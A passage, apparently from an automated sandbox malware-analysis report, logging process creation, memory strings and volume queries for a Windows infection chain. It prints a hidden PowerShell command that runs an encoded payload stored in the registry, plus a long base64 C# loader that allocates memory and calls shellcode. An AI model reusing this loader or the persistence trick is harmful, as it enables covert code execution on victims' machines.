BJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP"
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpBinary or memory string: Program Managerc
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, ieinstal.exe, 00000014.00000002.852789394.0000000003A90000.00000002.00020000.sdmp, ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, powershell.exe, 00000018.00000002.868881324.0000000003330000.00000002.00020000.sdmp, powershell.exe, 0000001C.00000002.878910701.0000000003330000.00000002.00020000.sdmpBinary or memory string: Program Manager
            Source: ieinstal.exe, 00000014.00000002.852789394.0000000003A90000.00000002.00020000.sdmp, powershell.exe, 00000018.00000002.868881324.0000000003330000.00000002.00020000.sdmp, powershell.exe, 0000001C.00000002.878910701.0000000003330000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
            Source: ieinstal.exe, 00000014.00000002.852789394.0000000003A90000.00000002.00020000.sdmp, powershell.exe, 00000018.00000002.868881324.0000000003330000.00000002.00020000.sdmp, powershell.exe, 0000001C.00000002.878910701.0000000003330000.00000002.00020000.sdmpBinary or memory string: Progman
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program ManagerXYB2Q\y:
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program ManagerXYB2Q\
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program Managerr|
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpBinary or memory string: Program Manageri
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpBinary or memory string: Program ManagerW
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpBinary or memory string: Program ManagerX
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program Manager==n
            Source: ieinstal.exe, 00000014.00000002.852789394.0000000003A90000.00000002.00020000.sdmp, powershell.exe, 00000018.00000002.868881324.0000000003330000.00000002.00020000.sdmp, powershell.exe, 0000001C.00000002.878910701.0000000003330000.00000002.00020000.sdmpBinary or memory string: Progmanlock
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program Manager32\cmd.exepe 001
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program Manager+=\
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, ieinstal.exe, 00000014.00000002.852441123.000000000362A000.00000004.00000020.sdmpBinary or memory string: |Program Manager|
            Source: ieinstal.exe, 00000014.00000002.852441123.000000000362A000.00000004.00000020.sdmpBinary or memory string: [Program Manager]
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
